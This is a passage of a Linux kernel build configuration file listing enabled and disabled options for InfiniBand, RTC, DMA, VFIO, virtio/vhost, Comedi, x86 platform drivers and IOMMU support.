# CONFIG_LEDS_TRIGGER_CAMERA is not set
# CONFIG_LEDS_TRIGGER_PANIC is not set
# CONFIG_LEDS_TRIGGER_NETDEV is not set
# CONFIG_LEDS_TRIGGER_PATTERN is not set
# CONFIG_LEDS_TRIGGER_TTY is not set
# CONFIG_LEDS_TRIGGER_INPUT_EVENTS is not set

#
# Simatic LED drivers
#
# CONFIG_ACCESSIBILITY is not set
CONFIG_INFINIBAND=y
CONFIG_INFINIBAND_USER_MAD=y
CONFIG_INFINIBAND_USER_ACCESS=y
CONFIG_INFINIBAND_USER_ACCESS_CORE=y
CONFIG_INFINIBAND_USER_MEM=y
CONFIG_INFINIBAND_ON_DEMAND_PAGING=y
CONFIG_INFINIBAND_ADDR_TRANS=y
CONFIG_INFINIBAND_ADDR_TRANS_CONFIGFS=y
CONFIG_INFINIBAND_VIRT_DMA=y
# CONFIG_INFINIBAND_EFA is not set
# CONFIG_INFINIBAND_ERDMA is not set
CONFIG_MLX4_INFINIBAND=y
# CONFIG_INFINIBAND_MTHCA is not set
# CONFIG_INFINIBAND_OCRDMA is not set
# CONFIG_INFINIBAND_USNIC is not set
# CONFIG_INFINIBAND_VMWARE_PVRDMA is not set
# CONFIG_INFINIBAND_RDMAVT is not set
CONFIG_RDMA_RXE=y
CONFIG_RDMA_SIW=y
CONFIG_INFINIBAND_IPOIB=y
CONFIG_INFINIBAND_IPOIB_CM=y
CONFIG_INFINIBAND_IPOIB_DEBUG=y
# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
CONFIG_INFINIBAND_SRP=y
# CONFIG_INFINIBAND_SRPT is not set
CONFIG_INFINIBAND_ISER=y
CONFIG_INFINIBAND_RTRS=y
CONFIG_INFINIBAND_RTRS_CLIENT=y
# CONFIG_INFINIBAND_RTRS_SERVER is not set
CONFIG_EDAC_ATOMIC_SCRUB=y
CONFIG_EDAC_SUPPORT=y
CONFIG_EDAC=y
# CONFIG_EDAC_DEBUG is not set
# CONFIG_EDAC_DECODE_MCE is not set
# CONFIG_EDAC_SCRUB is not set
# CONFIG_EDAC_ECS is not set
# CONFIG_EDAC_MEM_REPAIR is not set
# CONFIG_EDAC_E752X is not set
# CONFIG_EDAC_I82975X is not set
# CONFIG_EDAC_I3000 is not set
# CONFIG_EDAC_I3200 is not set
# CONFIG_EDAC_IE31200 is not set
# CONFIG_EDAC_X38 is not set
# CONFIG_EDAC_I5400 is not set
# CONFIG_EDAC_I7CORE is not set
# CONFIG_EDAC_I5100 is not set
# CONFIG_EDAC_I7300 is not set
# CONFIG_EDAC_SBRIDGE is not set
# CONFIG_EDAC_SKX is not set
# CONFIG_EDAC_I10NM is not set
# CONFIG_EDAC_IMH is not set
# CONFIG_EDAC_PND2 is not set
# CONFIG_EDAC_IGEN6 is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_MC146818_LIB=y
CONFIG_RTC_CLASS=y
# CONFIG_RTC_HCTOSYS is not set
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set
# CONFIG_RTC_NVMEM is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_ABB5ZES3 is not set
# CONFIG_RTC_DRV_ABEOZ9 is not set
# CONFIG_RTC_DRV_ABX80X is not set
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_HYM8563 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_MAX31335 is not set
# CONFIG_RTC_DRV_NCT3018Y is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_ISL12026 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF85363 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_TWL4030 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8010 is not set
# CONFIG_RTC_DRV_RX8111 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3028 is not set
# CONFIG_RTC_DRV_RV3032 is not set
# CONFIG_RTC_DRV_RV8803 is not set
# CONFIG_RTC_DRV_SD2405AL is not set
# CONFIG_RTC_DRV_SD3078 is not set

#
# SPI RTC drivers
#
# CONFIG_RTC_DRV_M41T93 is not set
# CONFIG_RTC_DRV_M41T94 is not set
# CONFIG_RTC_DRV_DS1302 is not set
# CONFIG_RTC_DRV_DS1305 is not set
# CONFIG_RTC_DRV_DS1343 is not set
# CONFIG_RTC_DRV_DS1347 is not set
# CONFIG_RTC_DRV_DS1390 is not set
# CONFIG_RTC_DRV_MAX6916 is not set
# CONFIG_RTC_DRV_R9701 is not set
# CONFIG_RTC_DRV_RX4581 is not set
# CONFIG_RTC_DRV_RS5C348 is not set
# CONFIG_RTC_DRV_MAX6902 is not set
# CONFIG_RTC_DRV_PCF2123 is not set
# CONFIG_RTC_DRV_MCP795 is not set
CONFIG_RTC_I2C_AND_SPI=y

#
# SPI and I2C RTC drivers
#
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_PCF2127 is not set
# CONFIG_RTC_DRV_PCF85063 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set
# CONFIG_RTC_DRV_RX6110 is not set

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_CMOS=y
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_ZYNQMP is not set

#
# on-CPU RTC drivers
#
# CONFIG_RTC_DRV_CADENCE is not set
# CONFIG_RTC_DRV_FTRTC010 is not set
# CONFIG_RTC_DRV_R7301 is not set
# CONFIG_RTC_DRV_GOLDFISH is not set

#
# HID Sensor RTC drivers
#
CONFIG_RTC_DRV_HID_SENSOR_TIME=y
CONFIG_DMADEVICES=y
# CONFIG_DMADEVICES_DEBUG is not set

#
# DMA Devices
#
CONFIG_DMA_ENGINE=y
CONFIG_DMA_VIRTUAL_CHANNELS=y
CONFIG_DMA_ACPI=y
CONFIG_DMA_OF=y
# CONFIG_ALTERA_MSGDMA is not set
# CONFIG_DW_AXI_DMAC is not set
# CONFIG_FSL_EDMA is not set
CONFIG_INTEL_IDMA64=y
# CONFIG_INTEL_IDXD is not set
# CONFIG_INTEL_IDXD_COMPAT is not set
CONFIG_INTEL_IOATDMA=y
# CONFIG_PLX_DMA is not set
# CONFIG_SWITCHTEC_DMA is not set
# CONFIG_XILINX_DMA is not set
# CONFIG_XILINX_XDMA is not set
# CONFIG_XILINX_ZYNQMP_DPDMA is not set
# CONFIG_AMD_PTDMA is not set
# CONFIG_AMD_QDMA is not set
# CONFIG_QCOM_HIDMA_MGMT is not set
# CONFIG_QCOM_HIDMA is not set
CONFIG_DW_DMAC_CORE=y
# CONFIG_DW_DMAC is not set
# CONFIG_DW_DMAC_PCI is not set
# CONFIG_DW_EDMA is not set
CONFIG_HSU_DMA=y
# CONFIG_SF_PDMA is not set
# CONFIG_INTEL_LDMA is not set

#
# DMA Clients
#
CONFIG_ASYNC_TX_DMA=y
# CONFIG_DMATEST is not set
CONFIG_DMA_ENGINE_RAID=y

#
# DMABUF options
#
CONFIG_SYNC_FILE=y
CONFIG_SW_SYNC=y
CONFIG_UDMABUF=y
# CONFIG_DMABUF_DEBUG is not set
CONFIG_DMABUF_HEAPS=y
CONFIG_DMABUF_HEAPS_SYSTEM=y
# CONFIG_DMABUF_HEAPS_SYSTEM_CC_SHARED is not set
CONFIG_DMABUF_HEAPS_CMA=y
# end of DMABUF options

CONFIG_DCA=y
# CONFIG_UIO is not set
CONFIG_VFIO=y
CONFIG_VFIO_DEVICE_CDEV=y
# CONFIG_VFIO_GROUP is not set
# CONFIG_VFIO_NOIOMMU is not set
CONFIG_VFIO_VIRQFD=y
# CONFIG_VFIO_DEBUGFS is not set

#
# VFIO support for PCI devices
#
CONFIG_VFIO_PCI_CORE=y
CONFIG_VFIO_PCI_INTX=y
CONFIG_VFIO_PCI=y
# CONFIG_VFIO_PCI_VGA is not set
# CONFIG_VFIO_PCI_IGD is not set
# CONFIG_VIRTIO_VFIO_PCI is not set
# end of VFIO support for PCI devices

CONFIG_IRQ_BYPASS_MANAGER=y
# CONFIG_VIRT_DRIVERS is not set
CONFIG_VIRTIO_ANCHOR=y
CONFIG_VIRTIO=y
CONFIG_VIRTIO_PCI_LIB=y
CONFIG_VIRTIO_PCI_LIB_LEGACY=y
CONFIG_VIRTIO_MENU=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_PCI_ADMIN_LEGACY=y
CONFIG_VIRTIO_PCI_LEGACY=y
CONFIG_VIRTIO_VDPA=y
CONFIG_VIRTIO_PMEM=y
CONFIG_VIRTIO_BALLOON=y
CONFIG_VIRTIO_MEM=y
CONFIG_VIRTIO_INPUT=y
CONFIG_VIRTIO_MMIO=y
CONFIG_VIRTIO_MMIO_CMDLINE_DEVICES=y
CONFIG_VIRTIO_DMA_SHARED_BUFFER=y
# CONFIG_VIRTIO_DEBUG is not set
# CONFIG_VIRTIO_RTC is not set
CONFIG_VDPA=y
CONFIG_VDPA_SIM=y
CONFIG_VDPA_SIM_NET=y
CONFIG_VDPA_SIM_BLOCK=y
# CONFIG_VDPA_USER is not set
# CONFIG_IFCVF is not set
# CONFIG_MLX5_VDPA_STEERING_DEBUG is not set
CONFIG_VP_VDPA=y
# CONFIG_ALIBABA_ENI_VDPA is not set
# CONFIG_SNET_VDPA is not set
# CONFIG_OCTEONEP_VDPA is not set
CONFIG_VHOST_IOTLB=y
CONFIG_VHOST_RING=y
CONFIG_VHOST_TASK=y
CONFIG_VHOST=y
CONFIG_VHOST_MENU=y
CONFIG_VHOST_NET=y
# CONFIG_VHOST_SCSI is not set
CONFIG_VHOST_VSOCK=y
CONFIG_VHOST_VDPA=y
CONFIG_VHOST_CROSS_ENDIAN_LEGACY=y
CONFIG_VHOST_ENABLE_FORK_OWNER_CONTROL=y

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV is not set
# end of Microsoft Hyper-V guest support

CONFIG_GREYBUS=y
# CONFIG_GREYBUS_BEAGLEPLAY is not set
CONFIG_GREYBUS_ES2=y
CONFIG_COMEDI=y
# CONFIG_COMEDI_DEBUG is not set
CONFIG_COMEDI_DEFAULT_BUF_SIZE_KB=2048
CONFIG_COMEDI_DEFAULT_BUF_MAXSIZE_KB=20480
CONFIG_COMEDI_MISC_DRIVERS=y
CONFIG_COMEDI_BOND=y
CONFIG_COMEDI_TEST=y
CONFIG_COMEDI_PARPORT=y
CONFIG_COMEDI_ISA_DRIVERS=y
CONFIG_COMEDI_PCL711=y
CONFIG_COMEDI_PCL724=y
CONFIG_COMEDI_PCL726=y
CONFIG_COMEDI_PCL730=y
CONFIG_COMEDI_PCL812=y
CONFIG_COMEDI_PCL816=y
CONFIG_COMEDI_PCL818=y
CONFIG_COMEDI_PCM3724=y
CONFIG_COMEDI_AMPLC_DIO200_ISA=y
CONFIG_COMEDI_AMPLC_PC236_ISA=y
CONFIG_COMEDI_AMPLC_PC263_ISA=y
CONFIG_COMEDI_RTI800=y
CONFIG_COMEDI_RTI802=y
CONFIG_COMEDI_DAC02=y
CONFIG_COMEDI_DAS16M1=y
CONFIG_COMEDI_DAS08_ISA=y
# CONFIG_COMEDI_DAS16 is not set
CONFIG_COMEDI_DAS800=y
CONFIG_COMEDI_DAS1800=y
CONFIG_COMEDI_DAS6402=y
CONFIG_COMEDI_DT2801=y
CONFIG_COMEDI_DT2811=y
CONFIG_COMEDI_DT2814=y
CONFIG_COMEDI_DT2815=y
CONFIG_COMEDI_DT2817=y
CONFIG_COMEDI_DT282X=y
CONFIG_COMEDI_DMM32AT=y
CONFIG_COMEDI_FL512=y
CONFIG_COMEDI_AIO_AIO12_8=y
CONFIG_COMEDI_AIO_IIRO_16=y
# CONFIG_COMEDI_II_PCI20KC is not set
CONFIG_COMEDI_C6XDIGIO=y
CONFIG_COMEDI_MPC624=y
CONFIG_COMEDI_ADQ12B=y
CONFIG_COMEDI_NI_AT_A2150=y
CONFIG_COMEDI_NI_AT_AO=y
# CONFIG_COMEDI_NI_ATMIO is not set
CONFIG_COMEDI_NI_ATMIO16D=y
CONFIG_COMEDI_NI_LABPC_ISA=y
CONFIG_COMEDI_PCMAD=y
CONFIG_COMEDI_PCMDA12=y
CONFIG_COMEDI_PCMMIO=y
CONFIG_COMEDI_PCMUIO=y
CONFIG_COMEDI_MULTIQ3=y
CONFIG_COMEDI_S526=y
CONFIG_COMEDI_PCI_DRIVERS=y
CONFIG_COMEDI_8255_PCI=y
# CONFIG_COMEDI_ADDI_APCI_1032 is not set
# CONFIG_COMEDI_ADDI_APCI_1500 is not set
# CONFIG_COMEDI_ADDI_APCI_1516 is not set
# CONFIG_COMEDI_ADDI_APCI_1564 is not set
# CONFIG_COMEDI_ADDI_APCI_16XX is not set
# CONFIG_COMEDI_ADDI_APCI_2032 is not set
# CONFIG_COMEDI_ADDI_APCI_2200 is not set
# CONFIG_COMEDI_ADDI_APCI_3120 is not set
# CONFIG_COMEDI_ADDI_APCI_3501 is not set
# CONFIG_COMEDI_ADDI_APCI_3XXX is not set
# CONFIG_COMEDI_ADL_PCI6208 is not set
# CONFIG_COMEDI_ADL_PCI7250 is not set
# CONFIG_COMEDI_ADL_PCI7X3X is not set
# CONFIG_COMEDI_ADL_PCI8164 is not set
# CONFIG_COMEDI_ADL_PCI9111 is not set
CONFIG_COMEDI_ADL_PCI9118=y
# CONFIG_COMEDI_ADV_PCI1710 is not set
# CONFIG_COMEDI_ADV_PCI1720 is not set
# CONFIG_COMEDI_ADV_PCI1723 is not set
# CONFIG_COMEDI_ADV_PCI1724 is not set
# CONFIG_COMEDI_ADV_PCI1760 is not set
# CONFIG_COMEDI_ADV_PCI_DIO is not set
# CONFIG_COMEDI_AMPLC_DIO200_PCI is not set
# CONFIG_COMEDI_AMPLC_PC236_PCI is not set
# CONFIG_COMEDI_AMPLC_PC263_PCI is not set
# CONFIG_COMEDI_AMPLC_PCI224 is not set
# CONFIG_COMEDI_AMPLC_PCI230 is not set
# CONFIG_COMEDI_CONTEC_PCI_DIO is not set
# CONFIG_COMEDI_DAS08_PCI is not set
# CONFIG_COMEDI_DT3000 is not set
# CONFIG_COMEDI_DYNA_PCI10XX is not set
# CONFIG_COMEDI_GSC_HPDI is not set
# CONFIG_COMEDI_MF6X4 is not set
# CONFIG_COMEDI_ICP_MULTI is not set
# CONFIG_COMEDI_DAQBOARD2000 is not set
# CONFIG_COMEDI_JR3_PCI is not set
# CONFIG_COMEDI_KE_COUNTER is not set
# CONFIG_COMEDI_CB_PCIDAS64 is not set
# CONFIG_COMEDI_CB_PCIDAS is not set
# CONFIG_COMEDI_CB_PCIDDA is not set
# CONFIG_COMEDI_CB_PCIMDAS is not set
# CONFIG_COMEDI_CB_PCIMDDA is not set
# CONFIG_COMEDI_ME4000 is not set
# CONFIG_COMEDI_ME_DAQ is not set
# CONFIG_COMEDI_NI_6527 is not set
# CONFIG_COMEDI_NI_65XX is not set
# CONFIG_COMEDI_NI_660X is not set
# CONFIG_COMEDI_NI_670X is not set
CONFIG_COMEDI_NI_LABPC_PCI=y
# CONFIG_COMEDI_NI_PCIDIO is not set
# CONFIG_COMEDI_NI_PCIMIO is not set
# CONFIG_COMEDI_RTD520 is not set
# CONFIG_COMEDI_S626 is not set
CONFIG_COMEDI_PCMCIA_DRIVERS=y
# CONFIG_COMEDI_CB_DAS16_CS is not set
# CONFIG_COMEDI_DAS08_CS is not set
CONFIG_COMEDI_NI_DAQ_700_CS=y
# CONFIG_COMEDI_NI_DAQ_DIO24_CS is not set
CONFIG_COMEDI_NI_LABPC_CS=y
# CONFIG_COMEDI_NI_MIO_CS is not set
# CONFIG_COMEDI_QUATECH_DAQP_CS is not set
CONFIG_COMEDI_USB_DRIVERS=y
CONFIG_COMEDI_DT9812=y
CONFIG_COMEDI_NI_USB6501=y
CONFIG_COMEDI_USBDUX=y
CONFIG_COMEDI_USBDUXFAST=y
CONFIG_COMEDI_USBDUXSIGMA=y
CONFIG_COMEDI_VMK80XX=y
CONFIG_COMEDI_8254=y
CONFIG_COMEDI_8255=y
CONFIG_COMEDI_8255_SA=y
CONFIG_COMEDI_KCOMEDILIB=y
CONFIG_COMEDI_AMPLC_DIO200=y
CONFIG_COMEDI_AMPLC_PC236=y
CONFIG_COMEDI_DAS08=y
CONFIG_COMEDI_ISADMA=y
CONFIG_COMEDI_NI_LABPC=y
CONFIG_COMEDI_NI_LABPC_ISADMA=y
# CONFIG_COMEDI_TESTS is not set
# CONFIG_GPIB is not set
CONFIG_STAGING=y
# CONFIG_RTL8723BS is not set

#
# IIO staging drivers
#

#
# Accelerometers
#
# CONFIG_ADIS16203 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD7816 is not set
# end of Analog to digital converters

#
# Analog digital bi-direction converters
#
# CONFIG_ADT7316 is not set
# end of Analog digital bi-direction converters

#
# Direct Digital Synthesis
#
# CONFIG_AD9832 is not set
# CONFIG_AD9834 is not set
# end of Direct Digital Synthesis

#
# Network Analyzer, Impedance Converters
#
# CONFIG_AD5933 is not set
# end of Network Analyzer, Impedance Converters
# end of IIO staging drivers

# CONFIG_FB_SM750 is not set
# CONFIG_STAGING_MEDIA is not set
# CONFIG_FB_TFT is not set
# CONFIG_MOST_COMPONENTS is not set
# CONFIG_GREYBUS_AUDIO is not set
# CONFIG_GREYBUS_BOOTROM is not set
# CONFIG_GREYBUS_FIRMWARE is not set
CONFIG_GREYBUS_HID=y
# CONFIG_GREYBUS_LOG is not set
# CONFIG_GREYBUS_LOOPBACK is not set
# CONFIG_GREYBUS_POWER is not set
# CONFIG_GREYBUS_RAW is not set
# CONFIG_GREYBUS_VIBRATOR is not set
CONFIG_GREYBUS_BRIDGED_PHY=y
# CONFIG_GREYBUS_GPIO is not set
# CONFIG_GREYBUS_I2C is not set
# CONFIG_GREYBUS_SDIO is not set
# CONFIG_GREYBUS_SPI is not set
# CONFIG_GREYBUS_UART is not set
CONFIG_GREYBUS_USB=y
# CONFIG_XIL_AXIS_FIFO is not set
# CONFIG_VME_BUS is not set
# CONFIG_GOLDFISH is not set
# CONFIG_CHROME_PLATFORMS is not set
# CONFIG_MELLANOX_PLATFORM is not set
CONFIG_SURFACE_PLATFORMS=y
# CONFIG_SURFACE3_WMI is not set
# CONFIG_SURFACE_3_POWER_OPREGION is not set
# CONFIG_SURFACE_ACPI_NOTIFY is not set
# CONFIG_SURFACE_AGGREGATOR_CDEV is not set
# CONFIG_SURFACE_AGGREGATOR_HUB is not set
CONFIG_SURFACE_AGGREGATOR_REGISTRY=y
# CONFIG_SURFACE_AGGREGATOR_TABLET_SWITCH is not set
# CONFIG_SURFACE_DTX is not set
# CONFIG_SURFACE_GPE is not set
# CONFIG_SURFACE_HOTPLUG is not set
# CONFIG_SURFACE_PLATFORM_PROFILE is not set
# CONFIG_SURFACE_PRO3_BUTTON is not set
CONFIG_SURFACE_AGGREGATOR=y
CONFIG_SURFACE_AGGREGATOR_BUS=y
CONFIG_X86_PLATFORM_DEVICES=y
CONFIG_WMI_BMOF=y
# CONFIG_HUAWEI_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_UNIWILL is not set
# CONFIG_MXM_WMI is not set
# CONFIG_NVIDIA_WMI_EC_BACKLIGHT is not set
# CONFIG_XIAOMI_WMI is not set
# CONFIG_REDMI_WMI is not set
# CONFIG_GIGABYTE_WMI is not set
# CONFIG_BITLAND_MIFS_WMI is not set
# CONFIG_ACERHDF is not set
# CONFIG_ACER_WIRELESS is not set
# CONFIG_ACER_WMI is not set

#
# AMD HSMP Driver
#
# CONFIG_AMD_HSMP_ACPI is not set
# CONFIG_AMD_HSMP_PLAT is not set
# end of AMD HSMP Driver

# CONFIG_AMD_PMC is not set
# CONFIG_AMD_HFI is not set
# CONFIG_AMD_3D_VCACHE is not set
# CONFIG_AMD_WBRF is not set
# CONFIG_AMD_HALO_LED is not set
# CONFIG_AMD_ISP_PLATFORM is not set
# CONFIG_ADV_SWBUTTON is not set
# CONFIG_APPLE_GMUX is not set
# CONFIG_ASUS_LAPTOP is not set
# CONFIG_ASUS_WIRELESS is not set
# CONFIG_ASUS_ARMOURY is not set
CONFIG_ASUS_WMI=y
# CONFIG_ASUS_WMI_DEPRECATED_ATTRS is not set
# CONFIG_ASUS_NB_WMI is not set
CONFIG_ASUS_TF103C_DOCK=y
# CONFIG_AYANEO_EC is not set
CONFIG_EEEPC_LAPTOP=y
# CONFIG_EEEPC_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set
# CONFIG_AMILO_RFKILL is not set
# CONFIG_FUJITSU_LAPTOP is not set
# CONFIG_FUJITSU_TABLET is not set
# CONFIG_GPD_POCKET_FAN is not set
# CONFIG_X86_PLATFORM_DRIVERS_HP is not set
# CONFIG_WIRELESS_HOTKEY is not set
# CONFIG_IBM_RTL is not set
# CONFIG_SENSORS_HDAPS is not set
# CONFIG_INTEL_ATOMISP2_PM is not set
# CONFIG_INTEL_IFS is not set
# CONFIG_INTEL_SAR_INT1092 is not set
# CONFIG_INTEL_SKL_INT3472 is not set

#
# Intel Speed Select Technology interface support
#
# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set
# end of Intel Speed Select Technology interface support

# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set
# CONFIG_INTEL_WMI_THUNDERBOLT is not set

#
# Intel Uncore Frequency Control
#
# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set
# end of Intel Uncore Frequency Control

# CONFIG_INTEL_HID_EVENT is not set
# CONFIG_INTEL_VBTN is not set
# CONFIG_INTEL_EHL_PSE_IO is not set
# CONFIG_INTEL_INT0002_VGPIO is not set
# CONFIG_INTEL_OAKTRAIL is not set
# CONFIG_INTEL_BXTWC_PMIC_TMU is not set
CONFIG_INTEL_CHTWC_INT33FE=y
CONFIG_INTEL_ISHTP_ECLITE=y
# CONFIG_INTEL_PUNIT_IPC is not set
# CONFIG_INTEL_RST is not set
# CONFIG_INTEL_SMARTCONNECT is not set
# CONFIG_INTEL_TURBO_MAX_3 is not set
# CONFIG_INTEL_VSEC is not set
# CONFIG_IDEAPAD_LAPTOP is not set
# CONFIG_LENOVO_WMI_HOTKEY_UTILITIES is not set
# CONFIG_LENOVO_WMI_CAMERA is not set
# CONFIG_LENOVO_YB9_KBDOCK is not set
# CONFIG_THINKPAD_ACPI is not set
# CONFIG_THINKPAD_LMI is not set
# CONFIG_YOGABOOK is not set
# CONFIG_YT2_1380 is not set
# CONFIG_LENOVO_WMI_GAMEZONE is not set
# CONFIG_LENOVO_WMI_TUNING is not set
# CONFIG_ACPI_QUICKSTART is not set
# CONFIG_MEEGOPAD_ANX7428 is not set
# CONFIG_MSI_EC is not set
# CONFIG_MSI_LAPTOP is not set
# CONFIG_MSI_WMI is not set
# CONFIG_MSI_WMI_PLATFORM is not set
# CONFIG_PCENGINES_APU2 is not set
# CONFIG_PORTWELL_EC is not set
# CONFIG_BARCO_P50_GPIO is not set
# CONFIG_SAMSUNG_GALAXYBOOK is not set
# CONFIG_SAMSUNG_LAPTOP is not set
# CONFIG_SAMSUNG_Q10 is not set
# CONFIG_ACPI_TOSHIBA is not set
# CONFIG_TOSHIBA_BT_RFKILL is not set
# CONFIG_TOSHIBA_HAPS is not set
# CONFIG_TOSHIBA_WMI is not set
# CONFIG_ACPI_CMPC is not set
# CONFIG_COMPAL_LAPTOP is not set
# CONFIG_LG_LAPTOP is not set
# CONFIG_PANASONIC_LAPTOP is not set
# CONFIG_SONY_LAPTOP is not set
# CONFIG_SYSTEM76_ACPI is not set
# CONFIG_TOPSTAR_LAPTOP is not set
# CONFIG_SERIAL_MULTI_INSTANTIATE is not set
# CONFIG_INSPUR_PLATFORM_PROFILE is not set
# CONFIG_DASHARO_ACPI is not set
# CONFIG_INTEL_IPS is not set
CONFIG_INTEL_SCU_IPC=y
# CONFIG_INTEL_SCU_PCI is not set
# CONFIG_INTEL_SCU_PLATFORM is not set
# CONFIG_SIEMENS_SIMATIC_IPC is not set
# CONFIG_SILICOM_PLATFORM is not set
# CONFIG_WINMATE_FM07_KEYS is not set
# CONFIG_OXP_EC is not set
# CONFIG_TUXEDO_NB04_WMI_AB is not set
CONFIG_P2SB=y
CONFIG_ACPI_WMI=y
# CONFIG_ACPI_WMI_LEGACY_DEVICE_NAMES is not set
CONFIG_HAVE_CLK=y
CONFIG_HAVE_CLK_PREPARE=y
CONFIG_COMMON_CLK=y
# CONFIG_LMK04832 is not set
# CONFIG_COMMON_CLK_MAX9485 is not set
# CONFIG_COMMON_CLK_SI5341 is not set
# CONFIG_COMMON_CLK_SI5351 is not set
# CONFIG_COMMON_CLK_SI514 is not set
# CONFIG_COMMON_CLK_SI544 is not set
# CONFIG_COMMON_CLK_SI570 is not set
# CONFIG_COMMON_CLK_CDCE706 is not set
# CONFIG_COMMON_CLK_CDCE925 is not set
# CONFIG_COMMON_CLK_CS2000_CP is not set
# CONFIG_CLK_TWL is not set
# CONFIG_COMMON_CLK_AXI_CLKGEN is not set
# CONFIG_COMMON_CLK_RS9_PCIE is not set
# CONFIG_COMMON_CLK_SI521XX is not set
# CONFIG_COMMON_CLK_VC3 is not set
# CONFIG_COMMON_CLK_VC5 is not set
# CONFIG_COMMON_CLK_VC7 is not set
# CONFIG_COMMON_CLK_FIXED_MMIO is not set

#
# Cixtech Audio Subsystem Clock Driver
#
# end of Cixtech Audio Subsystem Clock Driver

# CONFIG_CLK_LGM_CGU is not set
# CONFIG_XILINX_VCU is not set
# CONFIG_COMMON_CLK_XLNX_CLKWZRD is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
# end of Clock Source drivers

CONFIG_MAILBOX=y
# CONFIG_PLATFORM_MHU is not set
CONFIG_PCC=y
# CONFIG_ALTERA_MBOX is not set
# CONFIG_MAILBOX_TEST is not set
CONFIG_IOMMU_IOVA=y
CONFIG_IOMMU_API=y
CONFIG_IOMMUFD_DRIVER=y
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# end of Generic IOMMU Pagetable Support

# CONFIG_IOMMU_DEBUGFS is not set
# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set
CONFIG_IOMMU_DEFAULT_DMA_LAZY=y
# CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set
CONFIG_OF_IOMMU=y
CONFIG_IOMMU_DMA=y
CONFIG_IOMMU_SVA=y
CONFIG_IOMMU_IOPF=y
CONFIG_AMD_IOMMU=y
# CONFIG_AMD_IOMMU_IOMMUFD is not set
CONFIG_DMAR_TABLE=y
CONFIG_INTEL_IOMMU=y
CONFIG_INTEL_IOMMU_SVM=y
CONFIG_INTEL_IOMMU_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_PERF_EVENTS=y
CONFIG_IOMMUFD_DRIVER_CORE=y
CONFIG_IOMMUFD=y
CONFIG_IOMMUFD_TEST=y
CONFIG_IRQ_REMAP=y
# CONFIG_VIRTIO_IOMMU is not set
CONFIG_GENERIC_PT=y
CONFIG_DEBUG_GENERIC_PT=y
CONFIG_IOMMU_PT=y
CONFIG_IOMMU_PT_AMDV1=y
CONFIG_IOMMU_PT_VTDSS=y
# CONFIG_IOMMU_PT_RISCV64 is not set
CONFIG_IOMMU_PT_X86_64=y

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set
# end of Remoteproc drivers

#
# Rpmsg drivers
#
# CONFIG_RPMSG_QCOM_GLINK_RPM is not set
# CONFIG_RPMSG_VIRTIO is not set
# end of Rpmsg drivers

CONFIG_SOUNDWIRE=y

#
# SoundWire Devices
#
# CONFIG_SOUNDWIRE_AMD is not set
# CONFIG_SOUNDWIRE_INTEL is not set
# CONFIG_SOUNDWIRE_QCOM is not set

#
# SOC (System On Chip) specific Drivers
#

#
# Amlogic SoC drivers
#
# end of Amlogic SoC drivers

#
# Broadcom SoC drivers
#
# end of Broadcom SoC drivers

#
# NXP/Freescale QorIQ SoC drivers
#
# end of NXP/Freescale QorIQ SoC drivers

#
# fujitsu SoC drivers
#
# end of fujitsu SoC drivers

#
# i.MX SoC drivers
#
# end of i.MX SoC drivers

#
